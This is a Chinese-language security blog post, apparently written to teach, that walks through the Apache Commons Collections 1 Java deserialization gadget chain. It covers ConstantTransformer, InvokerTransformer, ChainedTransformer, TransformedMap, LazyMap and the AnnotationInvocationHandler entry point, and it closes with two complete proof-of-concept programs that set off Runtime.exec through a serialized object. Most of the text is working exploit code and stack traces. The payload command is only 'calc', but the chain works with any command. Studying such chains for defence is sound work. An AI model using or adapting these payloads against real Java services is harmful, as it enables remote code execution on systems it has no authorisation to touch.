在 Apache Commons Collections(以下简称 CC 链)反序列化漏洞中,Transformer 接口及其实现类是整个攻击链路的“执行类”
在解决 Java 反序列化漏洞时,我通常更喜欢将其分解为三个部分:

  • 入口类(source):指反序列化漏洞利用的起点,通常是一个攻击者可以控制的类;重写 readObject 类、调用常见的函数(触发常见的 Java 方法,为攻击者提供了执行任意代码的机会),参数类型宽泛,最好 jdk 自带
  • 调用链(gadget chain):是由一系列类和方法组成的链条,通过反序列化时自动调用的方法被触发,逐步调用这些类和方法,从而最终达到攻击者的目的。(相同名称相同类型:在调用链中,每个类和方法需要具有特定的签名,方法的名称和参数类型必须匹配,以确保在反序列化过程中被正确地链接和调用)
  • 执行类(sink):是调用链的最终目的地,也是执行恶意代码或完成攻击者意图的地方

Transformer 在源码中只是一个接口类,其核心作用可以归结为:将输入对象(保持不变)转换为某个输出对象

1
2
3
4
5
package org.apache.commons.collections;

public interface Transformer {
public Object transform(Object input);
}

通常在转换时,两类对象的类型在继承体系中可能基本没有什么联系,除了那种很基本的 Object 类型,更或者我们根本不关心这种联系;而为了使得后续的调用处理,除了基本的转型 Transformer 之外,Commons Collections 还提供了 Transformer 链和带条件的 Transformer,使得我们很方便的组装出有意义的转型逻辑

ConstantTransformer

每次返回相同常量的 Transformer 实现
设计初衷非常简单:无论给它输入什么对象,它永远只返回在初始化时指定的那个常量对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package org.example;  

import org.apache.commons.collections.functors.ConstantTransformer;

public class Main {
public static void main(String[] args) throws Exception{
ConstantTransformer transformer = new ConstantTransformer(Runtime.class);

Object input = "Hello World";
Object result = transformer.transform(input);

System.out.println(result); // 返回 class java.lang.Runtime
}
}

可以看到 transform 方法直接返回了我们先前指定的常量对象


至于这有什么用,在后面的 CC 链构造分析中就见真章了

InvokerTransformer

通过反射创建新对象实例的 Transformer 实现
一个简单的 Demo

1
2
3
4
5
6
7
8
9
10
11
12
package org.example;  

import org.apache.commons.collections.functors.*;

public class Main {
public static void main(String[] args) throws Exception{
String cmd = "calc";

InvokerTransformer transformer = new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { cmd });
transformer.transform(Runtime.getRuntime());
}
}

InvokerTransformer 是一个构造函数,封装了我们需要反射的方法

transform 接收一个对象,会去这个对象中找先前对应的反射方法

可以看到从底层逻辑上来看,这个过程和直接反射 java.lang.Runtime 类没什么区别,但我们可以用主被动的思想来理解,相当于 CC 直接为我们提供了“反射调用”这一动作,而我们只需要将具体执行某个方法封装成序列化字节流,让目标机器帮我们执行反射即可,这也正是 CC 链实现 RCE 的核心逻辑


不过在在真实的漏洞利用环境中 Runtime 对象是不可序列化的,我们不能直接把一个 Runtime 实例传给漏洞触发点
先来看看使用标准的单例模式下,通过提供的静态方法 getRuntime() 是如何获取实例的

Info

Class.newInstance() 只能调用类的 public 无参构造方法,而 java.lang.Runtime 的构造方法为 private,因此通过提供的 getRuntime() 方法来获取实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package org.example;    

import java.lang.reflect.Method;

public class Main {
public static void main(String[] args) throws Exception{
String className = "java.lang.Runtime";

Class class1 = Class.forName(className);
Method method = class1.getMethod("getRuntime");

Object runtime = method.invoke(null);
Method execMethod = class1.getMethod("exec", String.class);
execMethod.invoke(runtime, "calc.exe");

}
}

对应的 InvokerTransformerDemo 也不难构造出,只需要多调用几次 InvokerTransformer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package org.example;  

import org.apache.commons.collections.functors.*;

public class Main {
public static void main(String[] args) throws Exception{
String cmd = "calc";
Object input = Runtime.class;

// 获取 Runtime 实例对象
InvokerTransformer getRuntimeTransformer = new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] });
Object runtimeMethod = getRuntimeTransformer.transform(input);

// 调用 Method.invoke(null)
InvokerTransformer invokeTransformer = new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] });
Object runtimeInstance = invokeTransformer.transform(runtimeMethod);

// 调用 Runtime 实例的 exec("calc") 方法
InvokerTransformer execTransformer = new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { cmd });
execTransformer.transform(runtimeInstance);
}
}

ChainedTransformer

接收一个 Transformer 数组,依次调用每个 Transformer,将结果传递到下一个 Transformer,也就是说上一个的输出为下一个的输入

我们来尝试将刚才多个 InvokerTransformer 封装成 ChainedTransformer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package org.example;  

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;

public class Main {
public static void main(String[] args) throws Exception{
String cmd = "calc";

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { cmd })
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(null);
}
}

经过一次 ConstantTransformer,三次 InvokerTransformer 最终命令执行



TransformedMap & LazyMap

现在的问题是如何让这个 Transformer[] 一连串执行起来,也就是如何触发 chainedTransformer.transform 方法
这里通过两种 Map 类型的装饰器作为触发器,将普通的 Map 操作(如修改或查询)挂接到 Transformer 链上

TransformedMap

org.apache.commons.collections.map.TransformedMap 类实现了 java.util.Map 接口,通过调用 decorate 方法创建 TransformedMap 实例
TransformedMap 设计初衷是在向 Map 中添加新元素时,自动对 Key 或 Value 进行某种转换,具体来说调用 setValue put putAll 方法时会触发 transform 方法,从而依次执行我们传入的恶意 chainedTransformer(总结一下就是修改触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package org.example;  

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class Main {
public static void main(String[] args) throws Exception{
String cmd = "calc";

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { cmd })
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map<String, String> innerMap = new HashMap<>();
innerMap.put("key", "value");

Map transformedMap = TransformedMap.decorate(innerMap, null, chainedTransformer);

for (Object obj : transformedMap.entrySet()) {
Map.Entry entry = (Map.Entry) obj;
entry.setValue("anything");
}
}
}

最后这里通过 TransformedMap.decorate 包装普通 Map,不改 key,只对 value 做转换
我们下断点来看看 setValue 是如何触发 transform 方法的

TransformedMap 继承自 AbstractInputCheckedMapDecorator,继续跟进 checkSetValue

可以看到这里已经成功触发了 transform 方法了,后续就是走 ChainedTransformer 的逻辑了,由于 ConstantTransformer 永远只返回在初始化时指定的那个常量对象,因此并不需要担心键值是什么
put putAll 的逻辑大同小异,最后都会触发 transform 方法,事实上将 chainedTransformer 写在 key 上的道理也是如此

LazyMap

其设计初衷是“懒加载”。如果尝试从 Map 中获取一个不存在的 Key,它会根据预设的 Transformer 自动创建一个值并存入 Map,可以说是查询触发

1
2
3
Map<String, String> innerMap = new HashMap<>();  
Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);
lazyMap.get("anything");

具体是通过 factory.transform(key) 触发

AnnotationInvocationHandler

TransformedMap

现在的问题是想要命令执行,我们依旧需要 setValue() 手动触发
反序列化的入口点通常是 ObjectInputStream.readObject();要让代码执行,我们需要寻找一个类,它满足以下条件:

  1. 可序列化:实现了 Serializable 接口
  2. 入口自动触发:重写了 readObject() 方法
  3. 能够桥接逻辑:在 readObject() 过程中,会间接调用到 Map 的方法,从而触发 transform()

sun.reflect.annotation.AnnotationInvocationHandler 完美符合这些条件,在 JDK8u65 版本下,其重写的 readObject() 有如下逻辑

我们需要构造链子以便反序列化时能够走进两个 if 语句,并成功调用 setValue() 方法
不难发现 for 循环中被遍历的 memberValues 变量就是我们构造的 TransformedMap


为了使得 var7 != null :我们需要 map 的 key 键名必须对应创建 AnnotationInvocationHandler 时使用的注解方法名,这样才能让 var3 ,即当前 JVM 中实际加载的该注解方法名与 var6,当前遍历到的注解方法名一致,说明当前环境的注解类中确实存在这个方法
这里存在一个天然的标准类:java.lang.annotation.Target(或 Retention 也行),因为通过定义我们知道其只有一个名为 value 的属性

因此构造恶意 Map 的键名就为“value”;至于 isInstance(var8) 检查此对象是否是该类型(或其子类/实现类)的实例,我们通过端点调试一并带过理解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
package org.example;  

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class Main {
public static void main(String[] args) throws Exception{
String cmd = "calc";

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { cmd })
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map<String, String> innerMap = new HashMap<>();
// 构造 value 键名
innerMap.put("value", "value");
Map transformedMap = TransformedMap.decorate(innerMap, null, chainedTransformer);

// 该类没有 public 关键字,只能通过反射来获取实例
Class<?> cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);

// 构造攻击链
Object instance = ctor.newInstance(Target.class, transformedMap);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(instance);
oos.flush();
oos.close();

byte[] bytes = baos.toByteArray();

ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream in = new ObjectInputStream(bais);
in.readObject();
in.close();
}
}

此时 var3 中 value 键的值为 ElementType 枚举的数组,正好与 @Target 注解源码中的定义一致

var5 则是我们预先构造的 map

由于我们正确的构造了“value”这个键名,可以看到 var7 也是成功被赋值了这个数组,不为 null

如下图,var8 并不是一个数组,也不是一个 ExceptionProxy 异常代理对象

memberValues 变量是 TransformedMap,其继承自 AbstractInputCheckedMapDecorator,后面的逻辑就同上了

最终调用链

1
2
3
4
5
6
7
8
9
10
11
at java.lang.Runtime.exec(Runtime.java:347)
...
at java.lang.reflect.Method.invoke(Method.java:497)
at org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:125)
at org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:122)
at org.apache.commons.collections.map.TransformedMap.checkSetValue(TransformedMap.java:169)
at org.apache.commons.collections.map.AbstractInputCheckedMapDecorator$MapEntry.setValue(AbstractInputCheckedMapDecorator.java:191)
at sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:451)
...
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:371)
at org.example.Main.main(Main.java:49)

LazyMap + Proxy 动态代理

对比 TransformedMap 需要匹配特定的值,而 LazyMap 只需要请求一个不存在的 Key 就好,此时我们用到的是 AnnotationInvocationHandler 类重写的 invoke() 方法,其中调用了 get(),具体实现需要结合 JDK 动态代理

此时需要将 memberValues 变量赋值为 lazymap
由于 AnnotationInvocationHandler 类实现了 InvocationHandler 接口,我们只需要再创建一个 proxyInstance 代理类实例,这里代理的对象是 Map类型,具体拦截就是 AnnotationInvocationHandler 已经为我们写好了

1
2
3
4
5
6
7
InvocationHandler handler = (InvocationHandler) ctor.newInstance(Target.class, lazyMap);  
Map proxyMap = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[] {Map.class},
handler
);
Object instance = ctor.newInstance(Target.class, proxyMap);

in.readObject() 执行时:

  1. 对 proxyMap 对象进行操作,这里会和 TransformedMap 的逻辑一样,至少要走 this.memberValues.entrySet() 这个逻辑(memberValues 就是 proxyMap)
  2. 此时这个调用方法会被转发到 AnnotationInvocationHandler 的 invoke() 方法中,这里的 this.memberValues 此时变为 lazyMap
  3. 最后调用 lazyMap.get(),发现没有 entrySet 的 Key,于是触发 factory.transform("entrySet")

最后通过断点调试来直观理解一下



调用链如下

1
2
3
4
5
6
7
8
9
10
11
12
at java.lang.Runtime.exec(Runtime.java:347)
...
at java.lang.reflect.Method.invoke(Method.java:497)
at org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:125)
at org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:122)
at org.apache.commons.collections.map.LazyMap.get(LazyMap.java:151)
at sun.reflect.annotation.AnnotationInvocationHandler.invoke(AnnotationInvocationHandler.java:77)
at com.sun.proxy.$Proxy1.entrySet(Unknown Source:-1)
at sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:444)
...
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:371)
at org.example.Main.main(Main.java:56)

CommonsCollections1

以上所有的分析,其实也就是 CC1 链子的整体了,最终 TransformedMap 和 LazyMap 两种形式的 poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package org.example;  

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class Main {
public static void main(String[] args) throws Exception{
String cmd = "calc";

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { cmd })
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map<String, String> innerMap = new HashMap<>();
innerMap.put("value", "value");
Map transformedMap = TransformedMap.decorate(innerMap, null, chainedTransformer);

Class<?> cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);

Object instance = ctor.newInstance(Target.class, transformedMap);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(instance);
oos.flush();
oos.close();

byte[] bytes = baos.toByteArray();

ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream in = new ObjectInputStream(bais);
in.readObject();
in.close();
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
package org.example;  

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class Main {
public static void main(String[] args) throws Exception{
String cmd = "calc";

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { cmd })
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map<String, String> innerMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);

Class<?> cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);

InvocationHandler handler = (InvocationHandler) ctor.newInstance(Target.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[] {Map.class},
handler
);
Object instance = ctor.newInstance(Target.class, proxyMap);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(instance);
oos.flush();
oos.close();

byte[] bytes = baos.toByteArray();

ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream in = new ObjectInputStream(bais);
in.readObject();
in.close();
}
}